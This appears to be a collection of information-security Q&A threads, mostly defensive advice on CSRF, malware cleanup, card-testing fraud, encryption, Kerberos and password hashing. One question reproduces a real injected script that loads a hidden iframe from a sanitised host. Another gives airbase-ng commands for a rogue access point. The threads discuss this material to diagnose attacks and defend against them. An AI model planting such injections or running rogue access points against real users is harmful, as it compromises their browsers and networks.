Our web application has a small number of front-door public web pages (e.g. /servlet/Login) and the rest of the application is considered to be private pages that can only be accessed by authenticated users.  The login process results in a session being created with a random id, and then the system ensures that all links generated by the system embed this ID.  So for instance, the home page which is really /servlet/Home is rendered as /servlet/@SESSION_ID@/Home.  The framework checks the @SESSION_ID@ in the URL and if it doesn't exist (or doesn't match the user's session in the memory on the server) then the user gets redirected to the login page with an error, since clearly this request originated from outside the system and/or from a different session.

This technique has been in use for several years, and apart from being really annoying (you cannot bookmark anything) the idea appears to be that nobody can trick you into clicking on a link in the application that can take advantage of an authenticated session in another tab - i.e. the person crafting the link wouldn't know what the session id is, and thus can only trick you into navigating to one of the public links.

We need to be able to support "deep links" in the application now; such that a user in one application can invoke our application with a URL such as /servlet/WorkOrderDisplay?id=1234.  The required behaviour is that if the user has not already logged in to our application, then they should be redirected to the login screen and after a successful login taken to the work order.  However, subsequently clicking on that URL (whilst the session is active) should not send them to the login screen.  Herein lies the problem - the other application doesn't (and can't) know the session id to use, so the request will always be considered an untrusted one.  We could create a whitelist of trusted URLs, but I don't feel qualified enough to know if this is just creating a backdoor to circumvent the protection.

My real question though is why I don't see this technique used on other websites.  How do other websites protect against this "session theft", and does our home-grown technique really enhance security?  I should add that our application is akin to a CRM system rather than a Banking/Finance system - we need to balance security with usability so we cannot force every click from outside the system to go to the login screen.

Advice, links to other articles etc would be greatly appreciated.

Apologies if I've used the wrong terminology here.  I've tried to Google a lot, but suspect I'm not using the right terminology, although my Googling did lead me to find https://cheatsheetseries.owasp.org/

What you call "session theft" sounds like cross site request forgery (CSRF). CSRF occurs when a victim is signed into a website, and then visits an external site or page with attacker-created content. The attacker's content could include form submission to the vulnerable application, possibly causing the user to send money or perform another dangerous action without their knowledge. It works because the browser will send the cookies along with the request, even if made from a different origin.

I suggest that you reference the OWASP CSRF Cheat Sheet; here's their summary of actions to take:

  Check if your framework has built-in CSRF protection and use it

  If framework does not have built-in CSRF protection add CSRF    tokens to all state changing requests (requests that cause actions on
  the site) and validate them on backend

  Always use SameSite Cookie Attribute for session cookies
  Implement at least one mitigation from Defense in Depth    Mitigations section

  Use custom request headers
  Verify the origin with standard headers
  Use double submit cookies

  Consider implementing user interaction based protection for highly    sensitive operations
  Remember that any Cross-Site Scripting (XSS) can be used to defeat    all CSRF mitigation techniques!

  See the OWASP XSS Prevention Cheat Sheet for detailed guidance on how    to prevent XSS flaws.

  Do not use GET requests for state changing operations.

  If for any reason you do it, you have to also protect those resources    against CSRF

Emphasis on the first point; this is a solved problem and there is no need to reinvent the wheel here.


What items should be on a malware remediation checklist? Edit: Let's assume Windows 7 and potentially Windows Server 2003/2008.

IMHO, any machine that has malware should be reimaged/reformatted/OS reinstalled before it is deployed back into the environment. However, this isn't always practical. If the malware-type can be identified and potentially removed, sometimes the business dictates that a machine is remediated. So, my question assumes that management insists that a machine is remediated and has accepted the risk of doing so. Also, assume that all root cause analysis on the infection has already been completed. I would like to build a checklist of things to look at with the goal of reversing any changes malware has made to a system.

Edit: Due to the broad nature of this, perhaps those that are familiar with malware analysis can comment on the most common things they see malware change on a system that are related to maintaining persistence even if the malware is disabled/removed. (e.g., create an account or other backdoor that allows remote access to a system). Obviously, there are entire books and courses on this subject. This is not meant to be comprehensive. Rather, it is a checklist of common things to check/fix for a situation where reinstalling the OS is not an option and it is believed the malware has already been removed.

Here are a few examples:

*review all autostart locations and verify persistence mechanisms are removed
*multiple virus/malware scans of the drive slaved to another system (using multiple tools)
*all local/network account passwords changed
*local accounts/groups reviewed for issues (e.g., new accounts)
*etc/hosts file reviewed
*sfc /scannow
*review firewall configuration
*review MBR
*review and file/folders created/modified at the time of compromise.
*review $MFT for timestomping (assumes NTFS)

While I agree a reimage is much simpler and a better solution, I thought it would be a good idea to develop a best practice for attempting to verify a machine has been remediated. Many of these steps also fall in the category of malware detection as well.

I reviewed the following related posts:

Malware - are removal tools acceptable or is bare metal re-install the only safe option?

Recovering from malware in the registry

Is making a clean install enough to remove potential malware?

How do I deal with a compromised server?

Thanks.

New services, programmed tasks, shell extensions, DLLs, program modules… The list of autostart ways in Windows is huge, see sysinternals autorun for those available just in the OS.

Plus the secret rootkit that you had no idea it had been installed.

I would only consider cleaning a production machine instead of reimaging if working with a lack of equipment or if I knew inside out that specific malware.

It's like an US Governor discovering that soviet secret agents installed on his car spy microphones and several remote-controlled explosives (ie. a complete compromise). Yet, when being offered a completely new car for free, he decides to clean the old one and accept the risk.

So I would dig into why

  management insists that a machine is remediated and has accepted the risk of doing so

Maybe they are afraid of losing data? (make an image of the old computer)
They think the reinstalling process is too slow? (perhaps you can have in advance disk images with all the needed software installed, or even a spare hard disk / PC ready to replace an infected one)
Would the user need to spend a lot of time reconfiguring the system / programs? (include the configuration into the backups)

A common misconception when considering disinfections is not to take technician time into account. Desinfecting a machine is quite costly. Do they think the antivirus solution will immediatly disinfect it with a button press? Most probably it won't even detect the threat! Expect to perform full disk scans with several vendors, manually investigate what kind of malware infected it, clueless search the web for remedies…

In comparison, reimaging the PC is reproducible and testable, can be performed even by the lowest-rank (trusted) technician and even completely automatable. It's a well-defined procedure whose efficiency can be measured and improved. Whereas you never know which malware will hit you next, nor which remedy steps shall be done for the next variant (and what is worst: you can't even determine if a solution completely worked).

And you still need a quick reinstalling procedure, since not all malware is so nice to allow being desinfected / recovered from (eg. a malware that shreds the hard disk). I don't think the business requirements will be different depending on the malware that infected you.
So you need backups and emergency reinstalling procedures (which typically would also be your last resort for remediation) that work, anyway (with the benefit of being reusable). Skipping the costly and less reliable solution would be the logic thing to do.


Best option to fuzz a C Network Program I have a client/server simple program in C. I want to test the server running on different machine with random inputs. I have looked at 'Bunny-the-fuzzer' but from what I can understand It wont be much help when the target program/application is on remote machine.

Can someone recommend me any other available tools for testing such network programs ?

Thanks

This might be too heavy for your use case, but Sulley https://github.com/OpenRCE/sulley is a good framework.


Prevent automated running of credit cards Someone has been using an automated script to test credit cards by trying to place orders through the checkout process of an ecomm website I help maintain. I'm talking about trying to place 40k orders in 5 hours. I am looking for ideas to prevent this. The normal checkout process is add to cart, select shipping address, input payment information, final confirmation page.

We've discussed using captcha during the checkout process, we have velocity check where after so many orders by the same account, in the same day, do not take any more orders from that account. New accounts are created and they start over again using the newly created account.

Any ideas on preventing this activity is greatly appreciated.

There are many possible steps to take to make your site less interesting to attackers trying to verify credit card details. For example:

By restricting access to the payment information screen to customers who have completed previous steps (add item to basket, click checkout, enter shipping address), it increases the number of steps an attacker needs to emulate to get useful information.
By using CSRF protection methods, it becomes slightly harder to replay requests, just modifying key details. By linking the CSRF generation to rate protection means, it's possible to reject inordinate numbers of requests before making calls to bank systems - simply drop any request without a valid CSRF token, and don't provide one to any session which is trying requests too frequently.
Reducing the information returned from bank requests makes the system less useful to an attacker. If they can determine which specific piece of information is incorrect, they can reduce the number of attempts needed to get all data for a given card: consider an API which returns "invalid expiry month", "invalid expiry year" based on the information provided. It would require a maximum of 12 requests to confirm month, and 10 to confirm most card years (very few cards have more than 10 year expiry) - 22 requests at most. By contrast, the same API returning "invalid details" for both would require up to 120 (12*10) requests to be sure of finding the same information. This difference increases if there are further details grouped in this way, such as address details or CVV.
Limiting the number of attempts for a given IP address in a given time could be useful, but beware of losing legitimate customers if you have a lot of mobile traffic, which often appears from specific IP addresses for a given phone provider.


How to send an encrypted mail only knowing the PGP fingerprint? How does one send an encrypted email with PGP, when he only has the recipient's fingerprint?

I am already sending emails using PGP, but I've just pulled a contact's PGP fingerprint who I need to email off Twitter. Up until this point, I've only worked with the full public key file.

How do I pull the entire public key from a simple fingerprint such as this one 01ECFFDFC3C2F3CC?

You cannot reconstruct an OpenPGP key based on it's fingerprint. The fingerprint is a hash value of the public key, so calculating the fingerprint of a key is a one-way operation.

But: if somebody only distributes his key's fingerprint, he will almost certainly have distributed his public key on the key server network, from where you can pull it. Given you use GnuPG, the most wide-spread implementation of OpenPGP, use

gpg --recv-keys 01ECFFDFC3C2F3CC

to load the key. You should also be able to use an arbitrary graphical user interface for this operation, or load it from some key server's web site (you'll have to prefix 0x here for key IDs, thus query for 0x01ECFFDFC3C2F3CC.


How would I secure my hosts file? I know the hosts file is often deemed obsolete by an actual DNS, but what is/are the best way(s) to secure a hosts file (Current Best Practice)?

Example: Would I delete the hosts file, input known "good" addresses, assign specific permissions to the file/make read only, host on separate single machine/server (like DNS), etc.?

For reference location of hosts file(s):

In Windows %path% is for environment variable (since path may not be exact on every system)

For Windows (%SystemRoot%\system32\drivers\etc\hosts this has lmhosts too)
For *nix/OSX (/etc/hosts)
For mobile (Android and iOS are in /etc/hosts ... and for those Windows phones in registry HKEY_LOCAL_MACHINE\Comm\Tcpip\Hosts)

An option is to create a hash of the file and have a program (or script) regularly compare the stored hash with the current hash of the file. While it will not prevent modifications, it will detect changes and alert you (detective vs preventative control)


Secure way to send files to server, store, then retrieve I am looking for ideas today.

The problem:
Sensitive files are sent via REST (over SSL, of course) to a third-party server. I cannot touch them programmatically until they arrive at the server. Those files are stored there until users download them via SFTP and delete them from the server. Each file will reside for about a week on this server.

The goal:
Secure the files at every step until they are on the users' machines.

My plan:
Because I cannot encrypt the files until they arrive at the third-party server, my only hope for security is a SSL connection. I would like to ensure only my files are saved on the server, so I am thinking I should send a password along with the files. What is better than a static password? I would like to use unique passwords, but I'm not sure where to start.

As a file is downloaded onto the server, I will copy the stream into temporary memory and encrypt the data with RSA. I can keep the private key on the users' machines and store only the public key on the server. (Note the server has no hardware encryption.) When a user connects via SFTP, he can download the encrypted file and only decrypt it on his own machine once he is offline. Is there a better way to keep files until a user can access them?

Any other suggestions would be greatly appreciated!

Update
After tinkering and reflecting, I have found this solution to be the most fitting given my limited control over the starting server:
https://stackoverflow.com/a/19758235/1008395

In summary, send the files from A to B via SSL. Use AES-256 encryption with a randomly generated key when the file arrives at B. Encrypt that random key with RSA 2048 (the public key). Save everything on the server until it can be downloaded. Once the files are on the users' machine, decrypt the random key with RSA's private key (stored only offline) and then use that key to decrypt the AES encryption on the file. The reason for the hybrid Symmetric/Asymmetric encryption is because I want the public-private key format but RSA limits the size of the data to 256 bits (for 2048; it is only 128 bits for 1024). So we encrypt the data and key separately then send both. Yes, this results in 3 keys: One randomly generated each time, one public key, and one private key (which never sees the light of the internet).

Nihvel nailed this with even more security by encrypting the file before sending and saving the encrypted random key on Server A. Thus the two were never on the same server. Thanks for all your help!

I'm doing the exact same thing already but the contest of my encryption is different. I will give you my view.

You have server A.
The third party service host Server B.
User(n) is user[n].

You will create a random key, with this, you will encrypt your file X.
You will encrypt the random key with your public-key.
You will create a HASH that links the encrypted file with the random-key.
You will send only the encrypted file X from A to B using HTTPS (use a second certificate, of course).

B will store your encrypted until the user[n] will download it with the HASH file.
User[n] will reach your server A through a webgui (why not), after a login(why not..) and after he uploads the HASH file, your system can decrypt the file and let the user download it.

No one will know your private-key, of course, and no one will be given the public key file.
Even if they will, you will store in A the random key you used to encrypt the file.

This pretty much sums up my idea, and 80% of it is applied in my environment (the 20% rest is other checks).

Sure there is some work to do, but not even so much. I built this in 1 day and I'm not even that good at it.

EDIT:
I recently finished my script for backing up and encrypting a postgresql database.
Here you will find everything you need but creating the HASH.
At least the part of encryption/decryption is what you may want.
https://github.com/Nihvel/Backup-Scripts/blob/master/postgresql_database_backup


Mutual authentication in OpenVPN I have an OpenVPN gateway setup. A CA was created on the same server with Easy-RSA.

Each OpenVPN client has its own certificate-key pair issued with the aforementioned CA. Server has its own certificate and a private key.

While client's certificate and private key are indeed located on the client side and are used in the connection handshake, I see how OpenVPN server can identify a client connecting to it.

But the documentation to OpenVPN states that there is mutual authentication going on, meaning that no only client is authenticated on the server, but the server is authenticated (it's identity is being verified) with the client. How could the client check if the server is indeed the server its has intended to connect to?

My assumption is that since the client also has their common CA's cert, when the server will present its certificate, a client will try to verify it with the CA's cert. Is this how it will know that the server is the correct one?

Yes, your guessing is correct. OpenVPN has a built-in certificate management feature. This is the role of the Easy-RSA, I am guessing you already know that. The Easy-RSA is an RSA key management package based on OpenSSL. It allows you to build your own root CA and generate and manage the client's certificate/key pairs and the server certificate/key pair. Then the mutual authentication (bi-directional-authentication) is out of the box.

The case will be different if you try to use an external CA. For example, if you want to use  third-party tools for X509 PKI management. In this case, the OpenVPN access server will not manage client certificates directly. The external CA PKI software will be used to generate and distribute certificate/key pairs to client machines, and a server certificate/key pair to the OpenVPN server.


Can mp3 files be malicious? I have an old computer that I don't use for anything important or sensitive.

I occasionally download music on this old computer and transfer the mp3 files from a usb onto my primary computer.

These mp3 files come from audio-converter-sites like

  download from soundcloud

and

  youtube to mp3

You can literally serach for those exact expressions and find countless sites that will provide this service.

Can these mp3 files that I'm getting from these presumably untrustworthy sites be dangerous in any way? If so, how?

Just like PDFs, websites, and other complex formats which need to be parsed, there could be parsing bugs. At best, such bugs trigger a warning or crash the program, and at worst (but not uncommonly) they are able to run code on your machine.

Because it has a serious impact, these bugs are taken seriously and solved by the maker as soon as possible (for popular and supported projects at least). Having such a bug, which is widely applicable in case you want to hack someone, is quite valuable. If you use such an exploit on someone, you are basically giving something away which could be worth tens or hundreds of thousands of euros.

The risk of such a website having such an exploit and using it on you, and you having an unpatched instance, is probably negligible.

It's more likely that they send you a file that is called something like music.mp3.exe which Windows sees as an executable .exe format and runs. Or some other bug that it not a bug in your mp3 player itself.


Server wide javascript injection UPDATE: The server was rooted, php.ini was replaced that cause the injection to appear. Still haven't figured out which directive is injecting the javascript.

I'm troubleshooting a hacked website where a javascript is injected in every PHP file and only PHP. The injection only show up in IE also. I have experience with injection before but most of them were injected through FTP, and you can see them in the page itself. I'm not seeing any virus or malicious process on the server so far, and beginning to think either the PHP interpreter or Apache was hacked somehow. Has anyone seen this before or know where I should look? The injection is below,

<script type="text/javascript">
        d=new Date();
        d.setDate(d.getDate()+1);
        document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
      </script><style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://SANITISEDURL.net/ad.jpg?2"></iframe>

This happens to all website on the server, even with PHP file that only has a simple echo. .htaccess looks clean for all of them.
Server running PHP 5.2.17 and Apache 2.2.17.

Based on your comment to @esskar's answer, it would appear that your server has been rooted and the php binary has been replaced.

Since you have no idea what else may have been replaced, I would reinstall from scratch. Unfortunately you'll have to be suspicious of data files coming off your backups unless you know exactly when the hack occurred. (And I suspect you don't, since you don't know exactly what the hack is/was.)

My biggest problem with the "reinstall from scratch" approach is that you're likely to have the exact same vulnerability that allowed this attack to be successful. To keep this from happening:

Change all passwords for all services.
Make sure all patches for all packages are installed.
Shut down services that are not in use.
If practical, partition services onto multiple servers -- place services that might be at higher risk on a separate server.
Set up monitoring (IDS) and keep up with maintenance on it so that you have a chance of knowing what happened if another attack occurs.


Does full disk encryption offer mitigation in the case of the firmware of an SSD being compromised? Suppose the firmware of an SSD or HDD has been compromised by rogue actors either through "interdiction" (interception) or via the internet. They are able to exfiltrate data and conduct surveillance at will without my knowledge.

Can I mitigate the effects of the compromise by having the entire disk encrypted using tools such as Linux's Luks or Microsoft Windows Bitlocker? Or would installing Qubes-Whonix be a better option than LUKS and Bitlocker?

Partially. Full disk encryption, when done through software (e.g. LUKS), means that a compromised storage device will only ever see encrypted data, never decrypted data. It will never have access to the key. However, it would still be able to tamper with data by exploiting the malleability of non-authenticated modes which could potentially be abused to compromise the operating system (for example, the storage device could randomize any 16 byte block in XTS by toggling a single bit in the ciphertext, which can be very bad in some situations), or by exploiting weaknesses in XTS when snapshots are available to an attacker over time to leak information. Additionally, if you are booting from the drive, then a malicious MBR could be sent to the computer from the drive, loading a bootkit. Another issue is the capabilities of the storage device interface. SATA, for example, should not make a DMA attack possible, but a drive connected directly over PCIe might be able to write to system memory.


Kerberos three transactions -- why not just use two? I have read the description of Kerberos at sites like this very informative one:
http://www.roguelynn.com/words/explain-like-im-5-kerberos/
I think I understand generally how it works:

User presents identity to the Authentication Server
Authentication Server gives user a Ticket Granting Ticket (TGT), which includes the TGS session key
User connects to the TGS with the TGS session key
TGS replies with a service session key
User connects to the service using the service session key

(I'm skipping the parts about how the values are encrypted with various secret keys, in order for each machine to verify that the encryption was done by the AS or the TGS, which possesses the secret keys.)

What I don't understand is why it isn't simpler to do it in two steps, with public-key encryption:

User "bennett" authenticates themselves to the AS and generates a temporary public/private key pair.  The AS digitally signs bennett's public key saying, "The person using this public key really is bennett, at least for the next 8 hours."
User "bennett" connects to a service, with the certification of their public key digitally signed by the AS, and uses the public/private key pair to sign their request for a service.  The service decides whether to allow user "bennett" or not.

Isn't this simpler?  What am I missing?

My only idea was that maybe since public-key encryption is slower than secret-key encryption, Kerberos was more efficient for that reason.  But I would have thought that the network roundtrips were the slowest part of the operation, and therefore that three roundtrips using secret key encryption would still be slower than two roundtrips using public key encryption.  Is that not the case?

It might be right that asymmetric cryptography has much easier steps than secret-key encryption, but there are efficiency barriers such as CPU cycles, complexity of the asymmetric cryptography algorithm and network bandwidth.

Asymmetric algorithms use much more complex mathematics than symmetric algorithm to carry out their functions, which require more processing time and can be extra hit to the Kerberos performance. In addition, asymmetric cryptography must include extra randomness (such as initialization vector, nonce) which makes encrypting messages sometimes bigger than the actual plaintext data size - depends on data size, key size and  complexity of the cryptography algorithm used.

RFC4556 describes protocol extensions (PKINIT). These extensions provide a method for integrating public key cryptography into the initial authentication exchange. However, there are some security considerations mentioned such as:

The security of the overall system is significantly weakened by
using insufficient random inputs.
Kerberos error messages are not integrity protected; as a result,
the domain parameters sent by the KDC as TD-DH-PARAMETERS can be
tampered with by an attacker so that the set of domain parameters
selected could be either weaker or not mutually preferred.
In order to trust a KDC certificate that is certified by a CA as a
KDC certificate for a target realm, the client MUST verify that the
KDC certificate's issuing CA is authorized to issue KDC certificates
for that target realm. Otherwise, the binding between the KDC
certificate and the KDC of the target realm is not established.
PKINIT allows the use of the same RSA key pair for encryption and
signing when doing RSA encryption-based key delivery. This is not
recommended usage of RSA keys and by using DH-based key delivery,
this is avoided.
When the Diffie-Hellman key exchange method is used, additional
pre-authentication data may be dropped or added by attackers without
being detected by either the client or the KDC - which open the door
for insertion of malicious data without being detected.

For more information check these links:

https://tools.ietf.org/html/rfc4556
https://tools.ietf.org/html/rfc4430


Honeypot in a VM on home network Is it safe to run a honeypot on a virtual machine on my personal computer and home network? I was thinking of setting up a dmz on my home network to ensure my personal devices remain safe but was told it'd be fine to just run it on a vm. Is it possible to do so while maintaining the security of my personal computer and other devices on my network without a dmz?

From my point of view, Honeypots are not made for being used in a personal home network.

In the most cases, they are used for:

Driving bad bots into a Sinkhole.
Studying malicious behavior.
Researching new attack patterns, and if you are lucky some 0days.

  Is it safe to run a honeypot on a virtual machine on my personal computer and home network?

Well, I would say it depends on your info security knowledge. Keep in mind that you are putting a hole in your home network yourself.

What about this scenario:

Your not lucky and a human attacker is targeting your brand new honeypot. This attacker is quite skilled, actually, he does hacking for a living. Let's call him Dimitry.

Within few minutes Dimitry will know he is inside a non-well crafted honeypot. (Yes, your first honeypot won't be a masterpiece). Dimitry has some free time and wants to teach you a lesson.

So he decides to target your router. How unlucky we are... Our router firmware is not up to date it's weak to a buffer overflow attack on the HTTP basic auth login field.

Well, that escalated quickly, Dimitry is now your router admin... He did that in less than 5 minutes, your devices might be part of Dimitry's botnet within 20.

The thing is, nowadays, good attackers don't attack for fun All your bases are belong to us era is no more. They attack for profit, and enrolling new devices into a botnet can be considered as profit.

So the question is: Without your honeypot, How Dimitry knows you even exist ?


methods to check https certificates I have a basic question regarding fingerprints of https certificates, the specific case I wanted to check being my online banking service. With firefox on linux, I can visit the specific web page and then click on the green lock and go to inspect the certificate, more precisely I can look at its SHA-256 fingerprint. If I now want to compare it with this service it seems to me I cannot find the same SHA-256 fingerprint there, or at least not in the same format, so what to check? also, is there a simple shell script that automates the previous check that I did with firefox, somethin like curl https... | sha256sum?

Try this

echo -n | openssl s_client -connect www.security.us.hsbc.com:443 2>/dev/null | openssl x509  -noout -fingerprint -sha256

The output should look like this:

$ echo -n | openssl s_client -connect www.security.us.hsbc.com:443 2>/dev/null | openssl x509  -noout -fingerprint -sha256
SHA256 Fingerprint=2B:53:3C:29:EF:1E:DD:62:5A:A0:2A:D6:45:99:3C:6E:3F:6E:85:02:F5:D9:1A:85:8B:43:4E:82:90:D9:9C:65

Notice that the SHA256 fingerprint matches the screen shot below taken from Firefox


Are the privacy features of Firefox 69.0 complementary to PrivacyBadger 2019.7.1.1? Are the privacy features (blocking of Trackers, Cookies, Cryptominers, Fingerprinters) of Firefox 69.0 complemantary to PrivacyBadger? or do they interfere with each other?

Firefox' new Enhanced Tracking Protection (ETP) does in fact the same what PrivacyBadger does, It blacklists Cross-Site trackers, blacklists cryptominers (although I'm not aware of one), so there is no need to use PrivacyBadger longer. Furthermore you can disable or allow third-party cookies. If you want to use PrivacyBadger anyway then I recommend Browserprivacy set to 'normal mode' otherwise there is a possibility whereby PrivacyBadger features can conflict with Firefox' new features since these protections only apply with Browserprivacy set to strict-mode. Privacy Badger does protect you against canvas-based fingerprinting, Firefox does this also and thus there is a possibility that both can conflict with each other. 1

Two security-guards that do the same is worthless and likely will override the existing security.


How to crack a list of hashed passwords given their possibilities I am trying to crack a number of passwords that have been hashed using SHA-256 using some java code.

I have the hashes available and I also have the possibilities in which the password can be. Some of these possibilities include,

So for example I have hash

9F86D081884C7D659A2FEAA0C55AD015A3BF4F1B2B0B822CD15D6C15B0F00A08

and I want to get the password using an algorithm (one which I will code in Java) to get the password:

test

Is the only possible way I can do this is to calculate the hashes for all of the possibilities and then compare them with the hashes that I have?

What you want is called a rainbow table and it's exactly that; a pre-calculated map of keys and their corresponding hash values. It's also really huge. Being said, if you've got a spare machine with the disk space, or are willing to pare down your example cases, you can generate this data rather easily on the fly with any language's hash function. Just generate your strings, hash them, and store them as a key-value pair or in a simple db.


Any reason to slow hash passwords generated randomly by our site? The site which I maintain has been in production for 3 years. When you register, the site generates a large (20 digit) random hex password for you. It's stored MD5 hashed unsalted.

When I told the lead dev that MD5 is bad for passwords he said if bad guys get it there's no way they can crack it because the password is random. And even if the bad guy cracks it we generate it so users can't reuse it on other sites.

How can I convince him that we need to use best practices? He is very stubborn...

Ok, so the site generates a random password for each user at registration time. An important question is whether a user can can manually set their password later, or if they are forced to use a random site-generated password. Let's look at the two cases separately.

Random passwords

As far as I can tell, this is the scenario you are describing in the question. Unfortunately, your dev is (mostly) right. At least about single iteration of hashing vs a big slow hash. Your question kinda has the flavour of blindly applying "best practices" without considering what those practices were intended for. For a brilliant example of this, here's a good read:

The Guy Who Invented Those Annoying Password Rules Now Regrets Wasting Your Time

Suggestion

Do switch from MD5 to SHA256, probably add a per-user salt, and maybe consider going to 32 char passwords. But adding a big slow hashing function will increase your server load for little to no added security (at least barring any other goofs in your implementation).

Understanding hashing as a brute-force mitigation

The amount of work a brute-force attacker who has stolen your database needs to do to crack password hashes is roughly:

entropy_of_password * number_of_hash_iterations * slowness_of_hash_function

where entropy_of_password is the number of possibilities, or "guessability" of the password. So long as this "formula" is higher than 128 bits of entropy (or equivalent work factor / number of hash instructions to execute), then you're good. For user-chosen passwords, the entropy_of_password is abysmally low, so you need lots of iterations (like 100,000) of a very slow hash function (like PBKDF2 or scrypt) to get the work factor up.

By "20 digits hex digits" I assume you mean that there are 1620 = 280 possible passwords, which is lower than "best-practice" 2128, but unless you're a government or a bank, you probably have enough brute-force security from the entropy of the password alone.

Salts also serve no purpose here because pre-computing all the hashes is like 280 * 32 bits/hash, which is roughly 1 ZB (or 5000 x the capacity of all hard drives on the planet combined). Rainbow tables help this a bit, but quite frankly, any attacker capable of doing that, deserves to pwn all of us.

You still want to hash the password to prevent the attacker from walking away the plaintext for free, but one hash iteration is sufficient. Do switch from MD5 to SHA256 though, and maybe consider going to 32 char passwords.

Human brain passwords

Commenters on this thread seem obsessed with the idea that, despite your statement that the site generates passwords, users can in fact choose their own passwords.

As soon as the user has the possibility to change the password, the a single hash iteration is no option for storing the now low-entropy password. In this case you are correct that you need to do all the best practice things for password storage.

Salting

Either way (user-chosen or random passwords) you probably want a per-user salt.

If user-chosen, then salts are part of the best practices. 'nuff said.

If random, @GordonDavisson points out a really nice attack in comments [1], [2] based on the observation that a db lookup is essentially free compared to a hash computation. Computing a hash and comparing it against all users' hashes is essentially the same cost as comparing it against a specific user's hash. So long as you're happy getting into any account (rather than trying to crack a specific account), then the more users in the system, the more efficient the attack.

For instance, say you steal the unsalted hashed password db of a system with a million accounts (about 220). With 220 accounts, you statistically expect to get a hit in the first 260 guesses. You're still doing O(280) guesses, but  O(260) hashes * O(220) db lookups ~= O(260) hashes.

Per-user salts is the only way to prevent attacking all users for the cost of attacking one user.


Antivirus Engine based MD5 or SHA1 hash? I'm trying to understand more about MD5 and SHA1 hashes algorithms and their behavior in serious security software(found this but not helped me more).

Why does ClamAV use additional scanning techniques(MD5 for a speciﬁc section in a PE ﬁle, Wildcards, Icon signatures for PE ﬁles....) rather than just comparing MD5 of an existing malware?

Why isn't it just calculating the MD5 hash of the entire file? (As I know MD5 and SHA1 hashes functions are extremely accurate)

I'm not talking about heuristic detection, as this is can be done by hooking into the API call of the executable.

Because malware can change parts of itself with random data and therefore change the file hash of itself or the files it has infected. Additionally, most advanced malware this days is packed with what is called a "FUD crypter", making the jobs of AV vendors much difficult.

Read more at http://www.hackpconline.com/2010/04/faq-what-is-fud-crypter.html

If you desire better security than what AV provides, adopt a whitelisting approach to executables, allowing to run only the .exe files you specifically allow. One such example is Windows AppLocker.


Weird problem on airbase-ng The situation is pretty simple, I'm trying to create a rogue AP, am I missing something? No matter what I do I get the same error message:

I tried using different bssid and essid's with the corresponding names and channels.

Killed the processes, downed the interface, up again.

I deleted wlan0mon, disconnected the antenna from vm, then physically, reconnected everything, made some tests with different tools, airebase-ng still not working.

No problem with aircrack, airmon, airodump, aireplay, they all work.

If it's of any help I am using an Alfa AWUS036H 802.11 b/g wireless USB adapter
iwconfig:

And the correct drivers are installed:

The worst thing is there is not indication of error in the command syntax or a parameter missing.

Can you post an image without blurring information...
Maybe you're just adding a blank space on the ESSID and jumping a command, add quotes on strings, like this:

airbase-ng -c 11 -a AA:AA:AA:AA:AA:AA --essid 'I use blanks on my essid' wlan0mon

Try this to test:

airbase-ng -c 2 --essid test -a AA:AA:AA:AA:AA:AA wlan0mon

or without the -a (Use your default MAC)

airbase-ng -c 2 --essid test wlan0mon


Implement server serial key for server software Me and my friend want to sell game server-side software, but we want some sort of control, over use of that software.

For example, we want some sort of serial key system, so only verified/paid systems, can run our software. We are concerned, that software will be exploited/resold/distributed freely and we wont get any income from that.

How should we approach this problem? Is there any ready solutions? How about h-/crackers, is there any medicine against tinkering code and removing/explore/exploit our serial key system? Do we need to encrypt in some sort of way our server side software, so it will be hard to deal with? What about key/license server side solutions?

Not distributing any code, server is compiled C++ executable, running on windows machine.

Target audience is individuals, not companies. This is first time, we have no experience in selling software, but we have individuals, that are willing to pay - we just don't want our server end up cracked and distributed all around the globe, for at least year or two, after release of first version.

I'm not sure what sort of software are you distributing.

Are you

Selling software to game development/hosting companies?
Selling access to software hosted on your servers?

If it's 1), have you ever considered using the power of the law to your advantage? Basically sue the pants off any company who uses your software without permission.

If it's 2), you have a wide variety of options available. You can tie access to an API key which you sell, or issue certificates which allow access to your servers.

Since you said the software is intended for server side use it probably won't apply to you, but attempting to add DRM to any widely distributed software is an exercise in futility. Any DRM scheme can be bypassed given a determined enough attacker.


Is privacy part of the CIA triad or an independent concept? I am a bit confused between the CIA triad and privacy. Are these two concepts independent? If yes, it seems to me that privacy can be part of the CIA triad.

In the CIA triad, privacy is often seen as equal to (or part of) the confidentiality concept.

  Roughly synonymous with privacy as a security concern is the Confidentiality part of the CIA Triad.

(Source)

However, you can also relate privacy to the entire CIA triad, as an overall goal:

  Privacy relates to all elements of the CIA triad. It considers which
  information can be shared with others (confidentiality), how that
  information can be accessed safely (integrity), and how it can be
  accessed (availability).

(Source)

Privacy often refers to individuals and what of their personal data is collected/shared, while confidentiality is about protecting the access to the data. If an attacker manages to download the customer database of a webshop, the system failed to provide confidentiality -- and in consequence, the leak of addresses and phone numbers compromises the privacy of their customers.

Also see: What is the difference between privacy, confidentiality and security?


Malicious Google Drive Links Curious about a new form of spam I've noticed in my inbox. Someone seems to be using my email address to fill-out forms on sites, so that I receive the bounce back message. In this message there is a link to a google drive.

What are the dangers of visiting said link? I would assume nothing can come of it as long as I don't authenticate or allow the what I assume to be requested access to my google account.

Mostly, want to visit it to be able to report the drive to google, seeing as most documentation I find about reporting requires one to actually be on the drive one wants to report.

Unfortunately, we can’t analyze your malware from out here. Sounds like that link may be pretty sketchy, but we can’t say one way or the other. If you’re super curious to know more, one pretty common technique for analyzing malware is to download and execute it in a VM. If you do that, obviously be careful to configure everything properly and keep a firm sandbox. Good luck!


Are secret URLs secure over HTTPS? Imagine a service that makes sensitive information available under a secret URL via HTTPS only, without requiring any other authentication. In fact, these are already widespread.

What level of security does this offer, compared to, say, a traditional HTTPS login form using a username/password that's saved in the browser?

Do browsers leak the HTTPS URL (barring undiscovered vulnerabilities, of couse) or is it, theoretically, as safe as local files on the machine running the browser?

Example leak vectors: Firefox crash reporter; Chrome find-as-you-type; IE malware protection service. All of these can potentially leak the URL to a third party. Are HTTPS URLs secure from this?

In HTTPS, the actual URL is sent only after the SSL handshake has been performed. What outsiders can observe is:

The server name (which is given plainly in the server certificate).
The length of the request from your browser, from which the length of the URL can usually be inferred to some extent.

